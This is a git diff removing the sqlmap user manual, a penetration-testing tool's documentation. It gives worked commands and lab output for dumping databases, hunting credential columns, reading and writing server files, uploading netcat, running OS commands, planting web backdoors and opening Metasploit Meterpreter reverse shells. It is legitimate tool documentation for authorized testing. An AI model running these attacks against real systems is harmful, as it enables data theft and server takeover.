It is possible to dump all databases tables entries at once that the -session user has read access on.

- -

You can also provide the --exclude-sysdbs switch to -exclude all system databases. In that case sqlmap will only dump entries -of users' databases tables.

- -

Note that on Microsoft SQL Server the master database is not -considered a system database because some database administrators use it -as a users' database.

- - -

Search for columns, tables or databases

- -

Switches: --search, -C, -T, -D

- -

This switch allows you to search for specific database names, specific -tables across all databases or specific columns across all databases' -tables.

- -

This is useful, for instance, to identify tables containing custom -application credentials where relevant columns' names contain string like -name and pass.

- -

The switch --search needs to be used in conjunction with -one of the following support switches:

-

-

    -
  • -C following a list of comma-separated column names to look -for across the whole database management system.
    • -
  • -T following a list of comma-separated table names to look -for across the whole database management system.
    • -
  • -D following a list of comma-separated database names to -look for across the database management system.
    • -
-

- - -

Run custom SQL statement

- -

Switches: --sql-query and --sql-shell

- -

The SQL query and the SQL shell features allow to run arbitrary SQL -statements on the database management system. -sqlmap automatically dissects the provided statement, determines which -technique is appropriate to use to inject it and how to pack the SQL -payload accordingly.

- -

If the query is a SELECT statement, sqlmap will retrieve its -output. -Otherwise it will execute the query through the stacked query SQL -injection technique if the web application supports multiple statements on -the back-end database management system. -Beware that some web application technologies do not support stacked -queries on specific database management systems. For instance, PHP does -not support stacked queries when the back-end DBMS is MySQL, but it does -support when the back-end DBMS is PostgreSQL.

- -

Examples against a Microsoft SQL Server 2000 target:

-

-

-
-$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mssql/get_int.php?id=1" --sql-query \
-  "SELECT 'foo'" -v 1
-
-[...]
-[hh:mm:14] [INFO] fetching SQL SELECT query output: 'SELECT 'foo''
-[hh:mm:14] [INFO] retrieved: foo
-SELECT 'foo':    'foo'
-
-$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mssql/get_int.php?id=1" --sql-query \
-  "SELECT 'foo', 'bar'" -v 2
-
-[...]
-[hh:mm:50] [INFO] fetching SQL SELECT query output: 'SELECT 'foo', 'bar''
-[hh:mm:50] [INFO] the SQL query provided has more than a field. sqlmap will now unpack it into 
-distinct queries to be able to retrieve the output even if we are going blind
-[hh:mm:50] [DEBUG] query: SELECT ISNULL(CAST((CHAR(102)+CHAR(111)+CHAR(111)) AS VARCHAR(8000)), 
-(CHAR(32)))
-[hh:mm:50] [INFO] retrieved: foo
-[hh:mm:50] [DEBUG] performed 27 queries in 0 seconds
-[hh:mm:50] [DEBUG] query: SELECT ISNULL(CAST((CHAR(98)+CHAR(97)+CHAR(114)) AS VARCHAR(8000)), 
-(CHAR(32)))
-[hh:mm:50] [INFO] retrieved: bar
-[hh:mm:50] [DEBUG] performed 27 queries in 0 seconds
-SELECT 'foo', 'bar':    'foo, bar'
-
-
-

- -

As you can see, sqlmap splits the provided query into two different -SELECT statements then retrieves the output for each separate -query.

- -

If the provided query is a SELECT statement and contains a -FROM clause, sqlmap will ask you if such statement can return -multiple entries. In that case the tool knows how to unpack the query -correctly to count the number of possible entries and retrieve its output, -entry per entry.

- -

The SQL shell option allows you to run your own SQL statement -interactively, like a SQL console connected to the database management -system. -This feature provides TAB completion and history support too.

- - -

5.10 Brute force -

- -

These options can be used to run brute force checks.

- -

Brute force tables names

- -

Switches: --common-tables

- -

There are cases where --tables switch can not be used to -retrieve the databases' table names. These cases usually fit into one -of the following categories:

-

-

    -
  • The database management system is MySQL < 5.0 where -information_schema is not available.
    • -
  • The database management system is Microsoft Access and system table -MSysObjects is not readable - default setting.
    • -
  • The session user does not have read privileges against the system -table storing the scheme of the databases.
    • -
-

- -

If any of the first two cases apply and you provided the ---tables switch, sqlmap will prompt you with a question -to fall back to this technique. -Either of these cases apply to your situation, sqlmap can possibly still -identify some existing tables if you provide it with the ---common-tables switch. sqlmap will perform a -brute-force attack in order to detect the existence of common tables -across the DBMS.

- -

The list of common table names is txt/common-tables.txt and you -can edit it as you wish.

- -

Example against a MySQL 4.1 target:

-

-

-
-$ python sqlmap.py -u "http://192.168.136.129/mysql/get_int_4.php?id=1" \
-  --common-tables -D testdb --banner
-
-[...]
-[hh:mm:39] [INFO] testing MySQL
-[hh:mm:39] [INFO] confirming MySQL
-[hh:mm:40] [INFO] the back-end DBMS is MySQL
-[hh:mm:40] [INFO] fetching banner
-web server operating system: Windows
-web application technology: PHP 5.3.1, Apache 2.2.14
-back-end DBMS operating system: Windows
-back-end DBMS: MySQL < 5.0.0
-banner:    '4.1.21-community-nt'
-
-[hh:mm:40] [INFO] checking table existence using items from '/software/sqlmap/txt/common-tables.txt'
-[hh:mm:40] [INFO] adding words used on web page to the check list
-please enter number of threads? [Enter for 1 (current)] 8
-[hh:mm:43] [INFO] retrieved: users
-
-Database: testdb
-[1 table]
-+-------+
-| users |
-+-------+
-
-
-

- - -

Brute force columns names

- -

Switches: --common-columns

- -

As per tables, there are cases where --columns switch -can not be used to retrieve the databases' tables' column names. These -cases usually fit into one of the following categories:

-

-

    -
  • The database management system is MySQL < 5.0 where -information_schema is not available.
    • -
  • The database management system is Microsoft Access where this -kind of information is not available inside system tables.
    • -
  • The session user does not have read privileges against the system -table storing the scheme of the databases.
    • -
-

- -

If any of the first two cases apply and you provided the ---columns switch, sqlmap will prompt you with a question -to fall back to this technique. -Either of these cases apply to your situation, sqlmap can possibly still -identify some existing tables if you provide it with the ---common-columns switch. sqlmap will perform a -brute-force attack in order to detect the existence of common columns -across the DBMS.

- -

The list of common table names is txt/common-columns.txt and you -can edit it as you wish.

- - -

5.11 User-defined function injection -

- -

These options can be used to create custom user-defined functions.

- -

Inject custom user-defined functions (UDF)

- -

Switches: --udf-inject and --shared-lib

- -

You can inject your own user-defined functions (UDFs) by compiling a -MySQL or PostgreSQL shared library, DLL for Windows and shared object for -Linux/Unix, then provide sqlmap with the path where the shared library -is stored locally on your machine. sqlmap will then ask you some -questions, upload the shared library on the database server file system, -create the user-defined function(s) from it and, depending on your -options, execute them. When you are finished using the injected UDFs, -sqlmap can also remove them from the database for you.

- -

These techniques are detailed in the white paper -Advanced SQL injection to operating system full control.

- -

Use switch --udf-inject and follow the instructions.

- -

If you want, you can specify the shared library local file system path -via command line too by using --shared-lib option. Vice -versa sqlmap will ask you for the path at runtime.

- -

This feature is available only when the database management system is -MySQL or PostgreSQL.

- - -

5.12 File system access -

- -

Read a file from the database server's file system

- -

Switch: --file-read

- -

It is possible to retrieve the content of files from the underlying file -system when the back-end database management system is either MySQL, -PostgreSQL or Microsoft SQL Server, and the session user has the needed -privileges to abuse database specific functionalities and architectural -weaknesses. -The file specified can be either a textual or a binary file. sqlmap will -handle it properly.

- -

These techniques are detailed in the white paper -Advanced SQL injection to operating system full control.

- -

Example against a Microsoft SQL Server 2005 target to retrieve a binary -file:

-

-

-
-$ python sqlmap.py -u "http://192.168.136.129/sqlmap/mssql/iis/get_str2.asp?name=luther" \
-  --file-read "C:/example.exe" -v 1
-
-[...]
-[hh:mm:49] [INFO] the back-end DBMS is Microsoft SQL Server
-web server operating system: Windows 2000
-web application technology: ASP.NET, Microsoft IIS 6.0, ASP
-back-end DBMS: Microsoft SQL Server 2005
-
-[hh:mm:50] [INFO] fetching file: 'C:/example.exe'
-[hh:mm:50] [INFO] the SQL query provided returns 3 entries
-C:/example.exe file saved to:    '/software/sqlmap/output/192.168.136.129/files/C__example.exe'
-[...]
-
-$ ls -l output/192.168.136.129/files/C__example.exe 
--rw-r--r-- 1 inquis inquis 2560 2011-MM-DD hh:mm output/192.168.136.129/files/C__example.exe
-
-$ file output/192.168.136.129/files/C__example.exe 
-output/192.168.136.129/files/C__example.exe: PE32 executable for MS Windows (GUI) Intel
-80386 32-bit
-
-
-

- - -

Upload a file to the database server's file system

- -

Switches: --file-write and --file-dest

- -

It is possible to upload a local file to the database server's file system -when the back-end database management system is either MySQL, PostgreSQL -or Microsoft SQL Server, and the session user has the needed privileges to -abuse database specific functionalities and architectural weaknesses. -The file specified can be either a textual or a binary file. sqlmap will -handle it properly.

- -

These techniques are detailed in the white paper -Advanced SQL injection to operating system full control.

- -

Example against a MySQL target to upload a binary UPX-compressed file:

-

-

-
-$ file /software/nc.exe.packed 
-/software/nc.exe.packed: PE32 executable for MS Windows (console) Intel 80386 32-bit
-
-$ ls -l /software/nc.exe.packed
--rwxr-xr-x 1 inquis inquis 31744 2009-MM-DD hh:mm /software/nc.exe.packed
-
-$ python sqlmap.py -u "http://192.168.136.129/sqlmap/mysql/get_int.aspx?id=1" --file-write \
-  "/software/nc.exe.packed" --file-dest "C:/WINDOWS/Temp/nc.exe" -v 1
-
-[...]
-[hh:mm:29] [INFO] the back-end DBMS is MySQL
-web server operating system: Windows 2003 or 2008
-web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
-back-end DBMS: MySQL >= 5.0.0
-
-[...]
-do you want confirmation that the file 'C:/WINDOWS/Temp/nc.exe' has been successfully 
-written on the back-end DBMS file system? [Y/n] y
-[hh:mm:52] [INFO] retrieved: 31744
-[hh:mm:52] [INFO] the file has been successfully written and its size is 31744 bytes, 
-same size as the local file '/software/nc.exe.packed'
-
-
-

- - -

5.13 Operating system takeover -

- -

Run arbitrary operating system command

- -

Switches: --os-cmd and --os-shell

- -

It is possible to run arbitrary commands on the database server's -underlying operating system when the back-end database management -system is either MySQL, PostgreSQL or Microsoft SQL Server, and the -session user has the needed privileges to abuse database specific -functionalities and architectural weaknesses.

- -

On MySQL and PostgreSQL, sqlmap uploads (via the file upload functionality -explained above) a shared library (binary file) containing two -user-defined functions, sys_exec() and sys_eval(), then -it creates these two functions on the database and calls one of them to -execute the specified command, depending on user's choice to display the -standard output or not. -On Microsoft SQL Server, sqlmap abuses the xp_cmdshell stored -procedure: if it is disabled (by default on Microsoft SQL Server >= 2005), -sqlmap re-enables it; if it does not exist, sqlmap creates it from -scratch.

- -

When the user requests the standard output, sqlmap uses one of the -enumeration SQL injection techniques (blind, inband or error-based) to -retrieve it. Vice versa, if the standard output is not required, stacked -query SQL injection technique is used to execute the command.

- -

These techniques are detailed in the white paper -Advanced SQL injection to operating system full control.

- -

Example against a PostgreSQL target:

-

-

-
-$ python sqlmap.py -u "http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1" \
-  --os-cmd id -v 1
-
-[...]
-web application technology: PHP 5.2.6, Apache 2.2.9
-back-end DBMS: PostgreSQL
-[hh:mm:12] [INFO] fingerprinting the back-end DBMS operating system
-[hh:mm:12] [INFO] the back-end DBMS operating system is Linux
-[hh:mm:12] [INFO] testing if current user is DBA
-[hh:mm:12] [INFO] detecting back-end DBMS version from its banner
-[hh:mm:12] [INFO] checking if UDF 'sys_eval' already exist
-[hh:mm:12] [INFO] checking if UDF 'sys_exec' already exist
-[hh:mm:12] [INFO] creating UDF 'sys_eval' from the binary UDF file
-[hh:mm:12] [INFO] creating UDF 'sys_exec' from the binary UDF file
-do you want to retrieve the command standard output? [Y/n/a] y
-command standard output:    'uid=104(postgres) gid=106(postgres) groups=106(postgres)'
-
-[hh:mm:19] [INFO] cleaning up the database management system
-do you want to remove UDF 'sys_eval'? [Y/n] y
-do you want to remove UDF 'sys_exec'? [Y/n] y
-[hh:mm:23] [INFO] database management system cleanup finished
-[hh:mm:23] [WARNING] remember that UDF shared object files saved on the file system can 
-only be deleted manually
-
-
-

- -

It is also possible to simulate a real shell where you can type as many -arbitrary commands as you wish. The option is --os-shell -and has the same TAB completion and history functionalities that ---sql-shell has.

- -

Where stacked queries has not been identified on the web application -(e.g. PHP or ASP with back-end database management system being MySQL) and -the DBMS is MySQL, it is still possible to abuse the SELECT -clause's INTO OUTFILE to create a web backdoor in a writable -folder within the web server document root and still get command -execution assuming the back-end DBMS and the web server are hosted on the -same server. -sqlmap supports this technique and allows the user to provide a -comma-separated list of possible document root sub-folders where try to -upload the web file stager and the subsequent web backdoor. Also, sqlmap -has its own tested web file stagers and backdoors for the following -languages:

-

-

    -
  • ASP
    • -
  • ASP.NET
    • -
  • JSP
    • -
  • PHP
    • -
-

- - -

Out-of-band stateful connection: Meterpreter & friends

- -

Switches: --os-pwn, --os-smbrelay, ---os-bof, --priv-esc, ---msf-path and --tmp-path

- -

It is possible to establish an out-of-band stateful TCP connection -between the attacker machine and the database server underlying -operating system when the back-end database management system is either -MySQL, PostgreSQL or Microsoft SQL Server, and the session user has the -needed privileges to abuse database specific functionalities and -architectural weaknesses. -This channel can be an interactive command prompt, a Meterpreter session -or a graphical user interface (VNC) session as per user's choice.

- -

sqlmap relies on Metasploit to create the shellcode and implements four -different techniques to execute it on the database server. These -techniques are: -

    -
  • Database in-memory execution of the Metasploit's shellcode -via sqlmap own user-defined function sys_bineval(). Supported on -MySQL and PostgreSQL - switch --os-pwn.
    • -
  • Upload and execution of a Metasploit's stand-alone payload -stager via sqlmap own user-defined function sys_exec() on -MySQL and PostgreSQL or via xp_cmdshell() on Microsoft SQL -Server - switch --os-pwn.
    • -
  • Execution of Metasploit's shellcode by performing a SMB -reflection attack ( -MS08-068) with a UNC path request from the database server to -the attacker's machine where the Metasploit smb_relay server -exploit listens. Supported when running sqlmap with high privileges -(uid=0) on Linux/Unix and the target DBMS runs as Administrator -on Windows - switch --os-smbrelay.
    • -
  • Database in-memory execution of the Metasploit's shellcode by -exploiting Microsoft SQL Server 2000 and 2005 -sp_replwritetovarbin stored procedure heap-based buffer -overflow ( -MS09-004). sqlmap has its own exploit to trigger the -vulnerability with automatic DEP memory protection bypass, but it relies -on Metasploit to generate the shellcode to get executed upon successful -exploitation - switch --os-bof.
    • -
-

- -

These techniques are detailed in the white paper -Advanced SQL injection to operating system full control and in the -slide deck -Expanding the control over the operating system from the database.

- -

Example against a MySQL target:

-

-

-
-$ python sqlmap.py -u "http://192.168.136.129/sqlmap/mysql/iis/get_int_55.aspx?id=1" --os-pwn \
-  --msf-path /software/metasploit
-
-[...]
-[hh:mm:31] [INFO] the back-end DBMS is MySQL
-web server operating system: Windows 2003
-web application technology: ASP.NET, ASP.NET 4.0.30319, Microsoft IIS 6.0
-back-end DBMS: MySQL 5.0
-[hh:mm:31] [INFO] fingerprinting the back-end DBMS operating system
-[hh:mm:31] [INFO] the back-end DBMS operating system is Windows
-how do you want to establish the tunnel?
-[1] TCP: Metasploit Framework (default)
-[2] ICMP: icmpsh - ICMP tunneling
-> 
-[hh:mm:32] [INFO] testing if current user is DBA
-[hh:mm:32] [INFO] fetching current user
-what is the back-end database management system architecture?
-[1] 32-bit (default)
-[2] 64-bit
-> 
-[hh:mm:33] [INFO] checking if UDF 'sys_bineval' already exist
-[hh:mm:33] [INFO] checking if UDF 'sys_exec' already exist
-[hh:mm:33] [INFO] detecting back-end DBMS version from its banner
-[hh:mm:33] [INFO] retrieving MySQL base directory absolute path
-[hh:mm:34] [INFO] creating UDF 'sys_bineval' from the binary UDF file
-[hh:mm:34] [INFO] creating UDF 'sys_exec' from the binary UDF file
-how do you want to execute the Metasploit shellcode on the back-end database underlying 
-operating system?
-[1] Via UDF 'sys_bineval' (in-memory way, anti-forensics, default)
-[2] Stand-alone payload stager (file system way)
-> 
-[hh:mm:35] [INFO] creating Metasploit Framework multi-stage shellcode 
-which connection type do you want to use?
-[1] Reverse TCP: Connect back from the database host to this machine (default)
-[2] Reverse TCP: Try to connect back from the database host to this machine, on all ports 
-between the specified and 65535
-[3] Bind TCP: Listen on the database host for a connection
-> 
-which is the local address? [192.168.136.1] 
-which local port number do you want to use? [60641] 
-which payload do you want to use?
-[1] Meterpreter (default)
-[2] Shell
-[3] VNC
-> 
-[hh:mm:40] [INFO] creation in progress ... done
-[hh:mm:43] [INFO] running Metasploit Framework command line interface locally, please wait..
-
-                                  _
-                                 | |      o
- _  _  _    _ _|_  __,   ,    _  | |  __    _|_
-/ |/ |/ |  |/  |  /  |  / \_|/ \_|/  /  \_|  |
-  |  |  |_/|__/|_/\_/|_/ \/ |__/ |__/\__/ |_/|_/
-                           /|
-                           \|
-
-
-       =[ metasploit v3.7.0-dev [core:3.7 api:1.0]
-+ -- --=[ 674 exploits - 351 auxiliary
-+ -- --=[ 217 payloads - 27 encoders - 8 nops
-       =[ svn r12272 updated 4 days ago (2011.04.07)
-
-PAYLOAD => windows/meterpreter/reverse_tcp
-EXITFUNC => thread
-LPORT => 60641
-LHOST => 192.168.136.1
-[*] Started reverse handler on 192.168.136.1:60641 
-[*] Starting the payload handler...
-[hh:mm:48] [INFO] running Metasploit Framework shellcode remotely via UDF 'sys_bineval', 
-please wait..
-[*] Sending stage (749056 bytes) to 192.168.136.129
-[*] Meterpreter session 1 opened (192.168.136.1:60641 -> 192.168.136.129:1689) at Mon Apr 11 
-hh:mm:52 +0100 2011
-
-meterpreter > Loading extension espia...success.
-meterpreter > Loading extension incognito...success.
-meterpreter > [-] The 'priv' extension has already been loaded.
-meterpreter > Loading extension sniffer...success.
-meterpreter > System Language : en_US
-OS              : Windows .NET Server (Build 3790, Service Pack 2).
-Computer        : W2K3R2
-Architecture    : x86
-Meterpreter     : x86/win32
-meterpreter > Server username: NT AUTHORITY\SYSTEM
-meterpreter > ipconfig
-
-MS TCP Loopback interface
-Hardware MAC: 00:00:00:00:00:00
-IP Address  : 127.0.0.1
-Netmask     : 255.0.0.0
-
-
-
-Intel(R) PRO/1000 MT Network Connection
-Hardware MAC: 00:0c:29:fc:79:39
-IP Address  : 192.168.136.129
-Netmask     : 255.255.255.0
-
-
-meterpreter > exit
-
-[*] Meterpreter session 1 closed.  Reason: User exit
-
-
-

- -

By default MySQL on Windows runs as SYSTEM, however PostgreSQL -runs as a low-privileged user postgres on both Windows and Linux. -Microsoft SQL Server 2000 by default runs as SYSTEM, whereas -Microsoft SQL Server 2005 and 2008 run most of the times as NETWORK -SERVICE and sometimes as LOCAL SERVICE.

- -

It is possible to provide sqlmap with the --priv-esc -switch to perform a database process' user privilege escalation -via Metasploit's getsystem command which include, among others, -the -kitrap0d technique ( -MS10-015).

- - -

5.14 Windows registry access -

- -

It is possible to access Windows registry when the back-end database -management system is either MySQL, PostgreSQL or Microsoft SQL Server, -and when the web application supports stacked queries. Also, session user -has to have the needed privileges to access it.

- -

Read a Windows registry key value

- -

Switch: --reg-read

- -

Using this option you can read registry key values.

- -

Write a Windows registry key value

- -

Switch: --reg-add

- -

Using this option you can write registry key values.

- -

Delete a Windows registry key

- -

Switch: --reg-del

- -

Using this option you can delete registry keys.

- -

Auxiliary registry switches

- -

Switches: --reg-key, --reg-value, ---reg-data and --reg-type

- -

These switches can be used to provide data needed for proper running of -options --reg-read, --reg-add and ---reg-del. So, instead of providing registry key -information when asked, you can use them at command prompt as program -arguments.

- -

With --reg-key option you specify used Windows registry -key path, with --reg-value value item name inside -provided key, with --reg-data value data, while with ---reg-type option you specify type of the value item.

- -

A sample command line for adding a registry key hive follows:

-

-

-
-$ python sqlmap.py -u http://192.168.136.129/sqlmap/pgsql/get_int.aspx?id=1 --reg-add \ 
-  --reg-key="HKEY_LOCAL_MACHINE\SOFTWARE\sqlmap" --reg-value=Test --reg-type=REG_SZ --reg-data=1
-
-
-

- - -

5.15 General -

- -

Log HTTP(s) traffic to a textual file

- -

Switch: -t

- -

This switch requires an argument that specified the textual file to write -all HTTP(s) traffic generated by sqlmap - HTTP(s) requests and HTTP(s) -responses.

- -

This is useful primarily for debug purposes.

- - -

Session file: save and resume data retrieved

- -

Switch: -s

- -

By default sqlmap logs all queries and their output into a textual file -called session file, regardless of the technique used to extract -the data. -This is useful if you stop the injection for any reason and rerun it -afterwards: sqlmap will parse the session file and resume enumerated data -from it, then carry on extracting data from the exact point where it left -before you stopped the tool.

- -

The default session file is output/TARGET_URL/session, but you -can specify a different file path with -s switch.

- -

The session file has the following structure:

-

-

-
-[hh:mm:ss MM/DD/YY]
-[Target URL][Injection point][Parameters][Query or information name][Query output or value]
-
-
-

- -

A more user friendly textual file where all data retrieved is saved, is -the log file, output/TARGET_URL/log. This file can be -useful to see all information enumerated to the end.

- - -

Flush session file

- -

Switch: --flush-session

- -

As you are already familiar with the concept of a session file from the -description above, it is good to know that you can flush the content of -that file using option --flush-session. -This way you can avoid the caching mechanisms implemented by default in -sqlmap. Other possible way is to manually remove the session file(s).

- - -

Ignores query results stored in session file

- -

Switch: --fresh-queries

- -

As you are already familiar with the concept of a session file from the -description above, it is good to know that you can ignore the content of -that file using option --fresh-queries. -This way you can keep the session file untouched and for a selected run, -avoid the resuming/restoring of queries output.

- - -

Estimated time of arrival

- -

Switch: --eta

- -

It is possible to calculate and show in real time the estimated time of -arrival to retrieve each query output. This is shown when the technique -used to retrieve the output is any of the blind SQL injection types.

- -

Example against an Oracle target affected only by boolean-based blind SQL -injection:

-

-

-
-$ python sqlmap.py -u "http://192.168.136.131/sqlmap/oracle/get_int_bool.php?id=1" -b --eta
-
-[...]
-[hh:mm:01] [INFO] the back-end DBMS is Oracle
-[hh:mm:01] [INFO] fetching banner
-[hh:mm:01] [INFO] retrieving the length of query output
-[hh:mm:01] [INFO] retrieved: 64
-17% [========>                                          ] 11/64  ETA 00:19
-
-
-

- -

Then:

-

-

-
-100% [===================================================] 64/64               
-[hh:mm:53] [INFO] retrieved: Oracle Database 10g Enterprise Edition Release 10.2.0.1.0 - Prod
-
-web application technology: PHP 5.2.6, Apache 2.2.9
-back-end DBMS: Oracle
-banner:    'Oracle Database 10g Enterprise Edition Release 10.2.0.1.0 - Prod'
-
-
-

- -

As you can see, sqlmap first calculates the length of the query output, -then estimates the time of arrival, shows the progress in percentage and -counts the number of retrieved output characters.

- - -

Update sqlmap

- -

Switch: --update

- -

Using this option you can update the tool to the latest development -version directly from the subversion repository. You obviously need -Internet access.

- -

If, for any reason, this operation fails, run git pull from -your sqlmap working copy. It will perform the exact same operation of -switch --update. -If you are running sqlmap on Windows, you can use the -SmartGit client.

- -

This is strongly recommended before reporting any bug to the -mailing lists.

- - -

Save options in a configuration INI file

- -

Switch: --save

- -

It is possible to save the command line options to a configuration INI -file. -The generated file can then be edited and passed to sqlmap with the --c option as explained above.

- - -

Act in non-interactive mode

- -

Switch: --batch

- -

If you want sqlmap to run as a batch tool, without any user's interaction -when sqlmap requires it, you can force that by using ---batch switch. This will leave sqlmap to go with a -default behaviour whenever user's input would be required.

- - -

5.16 Miscellaneous -

- -

Alert when a SQL injection is detected

- -

Switch: --beep

- -

When this switch is provided, sqlmap will beep at every new SQL injection -that it finds. It can be useful when you are processing in batch mode a -Google dork output or a proxy log file so that you do not need to monitor -the terminal constantly.

- - -

IDS detection testing of injection payloads

- -

Switch: --check-payload

- -

Curious to see if a -decent intrusion detection system (IDS) picks up sqlmap payloads? -Use this switch!

- - -

Cleanup the DBMS from sqlmap specific UDF(s) and table(s)

- -

Switch: --cleanup

- -

It is recommended to clean up the back-end database management system from -sqlmap temporary table(s) and created user-defined function(s) when you -are done taking over the underlying operating system or file system. -Switch --cleanup will attempt to clean up the DBMS and -the file system wherever possible.

- - -

Parse and test forms' input fields

- -

Switch: --forms

- -

Say that you want to test against SQL injections a huge search form -or you want to test a login bypass (typically only two input fields named -like username and password), you can either pass to sqlmap -the request in a request file (-r), set the POSTed data -accordingly (--data) or let sqlmap do it for you!

- -

Both of the above mentioned instances, and many others, appear as -<form> and <input> tags in HTML response -bodies and this is where this switch comes into play.

- -

Provide sqlmap with --forms as well as the page where -the form can be found as the target url (-u) and sqlmap will -request the target url for you, parse the forms it has and guide you -through to test for SQL injection on those form input fields (parameters) -rather than the target url provided.

- - -

Use Google dork results from specified page number

- -

Switch: --gpage

- -

Default sqlmap behavior with option -g is to do a Google -search and use the first 100 resulting URLs for further SQL injection -testing. However, in combination with this option you can specify with -this switch, --gpage, some page other than the first one -to retrieve target URLs from.

- - -

Imitate smartphone

- -

Switch: --mobile

- -

TODO

- - -

Display page rank (PR) for Google dork results

- -

Switch: --page-rank

- -

Performs further requests to Google when -g is provided and -display page rank (PR) for Google dork results.

- - -

Parse DBMS error messages from response pages

- -

Switch: --parse-errors

- -

If the web application is configured in debug mode so that it displays -in the HTTP responses the back-end database management system error -messages, sqlmap can parse and display them for you.

-

This is useful for debugging purposes like understanding why a certain -enumeration or takeover switch does not work - it might be a matter of -session user's privileges and in this case you would see a DBMS error -message along the lines of Access denied for user <SESSION -USER>.

- - -

Replicate dumped data into a sqlite3 database

- -

Switch: --replicate

- -

If you want to store in a local SQLite 3 database file each dumped table -(--dump or --dump-all), you can -provide sqlmap with the --replicate switch at dump -phase. This will create a <TABLE_NAME>.sqlite3 rather than -a <DB_NAME>/<TABLE_NAME>.csv file into -output/TARGET_URL/dump/ directory.

- -

You can then use sqlmap itself to read and query the locally created -SQLite 3 file. For instance, python sqlmap.py -d -sqlite:///software/sqlmap/output/192.168.136.131/dump/testdb.sqlite3 --table.

- - -

Simple wizard interface for beginner users

- -

Switch: --wizard

- -

Do you really want to know?

- - -

6. License and copyright

- -

sqlmap is released under the terms of the -General Public License v2. -sqlmap is copyrighted by its -developers.

- - -

7. Disclaimer

- -

sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY -WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS -FOR A PARTICULAR PURPOSE. See the GNU General Public License for more -details.

- -

Whatever you do with this tool is uniquely your responsibility. If you are -not authorized to punch holes in the network you are attacking be aware -that such action might get you in trouble with a lot of law enforcement -agencies.

- - -

8. Authors

- -

-Bernardo Damele A. G. (inquis)

-

-Miroslav Stampar (stamparm)

- - - diff --git a/doc/README.pdf b/doc/README.pdf deleted file mode 100644 index 6db67ac1cf3..00000000000 Binary files a/doc/README.pdf and /dev/null differ diff --git a/doc/README.sgml b/doc/README.sgml deleted file mode 100644 index 86f755882b4..00000000000 --- a/doc/README.sgml +++ /dev/null @@ -1,3342 +0,0 @@ - - -
- -sqlmap user's manual -<author>by <htmlurl url="mailto:bernardo@sqlmap.org" name="Bernardo Damele A. G.">, <htmlurl url="mailto:miroslav@sqlmap.org" name="Miroslav Stampar"> -<date>version 1.0-dev, XXX XX, 2012 -<abstract> -This document is the user's manual for <htmlurl url="http://www.sqlmap.org" name="sqlmap">. -</abstract> - -<toc> - - -<sect>Introduction - -<p> -sqlmap is an open source penetration testing tool that automates the -process of detecting and exploiting SQL injection flaws and taking over of -database servers. It comes with a powerful detection engine, many niche -features for the ultimate penetration tester and a broad range of switches -lasting from database fingerprinting, over data fetching from the -database, to accessing the underlying file system and executing commands -on the operating system via out-of-band connections. - - -<sect1>Requirements - -<p> -sqlmap is developed in <htmlurl url="http://www.python.org" name="Python">, -a dynamic, object-oriented, interpreted programming language freely available from -<htmlurl url="http://python.org/download/" name="http://python.org/download/">. -This makes sqlmap a cross-platform application which is independant of the -operating system. sqlmap requires Python version <bf>2.6</bf> or above. -To make it even easier, many GNU/Linux distributions come out of the box -with Python installed. Other Unixes and Mac OSX also provide Python packaged -and ready to be installed. -Windows users can download and install the Python installer for x86, AMD64 and Itanium. - -sqlmap relies on the <htmlurl url="http://metasploit.com" -name="Metasploit Framework"> for some of its post-exploitation takeover -features. You need to grab a copy of the framework from the -<htmlurl url="http://metasploit.com/download/" name="download"> -page - the required version is <bf>3.5</bf> or higher. -For the ICMP tunneling out-of-band takeover technique, sqlmap requires the -<htmlurl url="http://corelabs.coresecurity.com/index.php?module=Wiki&action=view&type=tool&name=Impacket" -name="Impacket"> library too. - -If you are willing to connect directly to a database server (<tt>-d</tt> switch), -without passing through the web application, you need to install Python bindings -for the database management system that you are going to attack: - -<itemize> -<item>Firebird: <htmlurl name="python-kinterbasdb" url="http://kinterbasdb.sourceforge.net/">. -<item>Microsoft Access: <htmlurl name="python-pyodbc" url="http://pyodbc.googlecode.com/">. -<item>Microsoft SQL Server: <htmlurl name="python-pymssql" url="http://pymssql.sourceforge.net/">. -<item>MySQL: <htmlurl name="python pymysql" url="http://code.google.com/p/pymysql/">. -<item>Oracle: <htmlurl name="python cx_Oracle" url="http://cx-oracle.sourceforge.net/">. -<item>PostgreSQL: <htmlurl name="python-psycopg2" url="http://initd.org/psycopg/">. -<item>SQLite: <htmlurl name="python-pysqlite2" url="http://pysqlite.googlecode.com/">. -<item>Sybase: <htmlurl name="python-pymssql" url="http://pymssql.sourceforge.net/">. -</itemize> - -If you plan to attack a web application behind NTLM authentication or use -the sqlmap update functionality (<tt>-</tt><tt>-update</tt> switch) you need to -install respectively <htmlurl url="http://code.google.com/p/python-ntlm/" -name="python-ntlm"> and <htmlurl url="http://pysvn.tigris.org/" -name="python-svn"> libraries respectively. - -Optionally, if you are running sqlmap on Windows, you may wish to install the -<htmlurl url="http://ipython.scipy.org/moin/PyReadline/Intro" name="PyReadline"> -library in order to take advantage of the sqlmap TAB completion and -history support features in the SQL shell and OS shell. -Note that these functionalities are available natively via the standard Python -<htmlurl url="http://docs.python.org/library/readline.html" name="readline"> -library on other operating systems. - -You can also choose to install the <htmlurl url="http://psyco.sourceforge.net/" -name="Psyco"> library to eventually speed up the sqlmap algorithmic -operations. - - -<sect1>Scenario - -<sect2>Detect and exploit a SQL injection -<p> -Let's say that you are auditing a web application and found a web page -that accepts dynamic user-provided values via <tt>GET</tt>, <tt>POST</tt> -or <tt>Cookie</tt> parameters or via the HTTP <tt>User-Agent</tt> -request header. -You now want to test if these are affected by a SQL injection -vulnerability, and if so, exploit them to retrieve as much information as -possible from the back-end database management system, or even be able to -access the underlying file system and operating system. - -In a simple world, consider that the target url is: - -<tscreen><tt>http://192.168.136.131/sqlmap/mysql/get_int.php?id=1</tt></tscreen> - -Assume that: - -<tscreen><tt>http://192.168.136.131/sqlmap/mysql/get_int.php?id=1+AND+1=1</tt></tscreen> - -is the same page as the original one and (the condition evaluates to <bf>True</bf>): - -<tscreen><tt>http://192.168.136.131/sqlmap/mysql/get_int.php?id=1+AND+1=2</tt></tscreen> - -differs from the original one (the condition evaluates to <bf>False</bf>). -This likely means that you are in front of a SQL -injection vulnerability in the <tt>id</tt> <tt>GET</tt> parameter of the -<tt>index.php</tt> page. 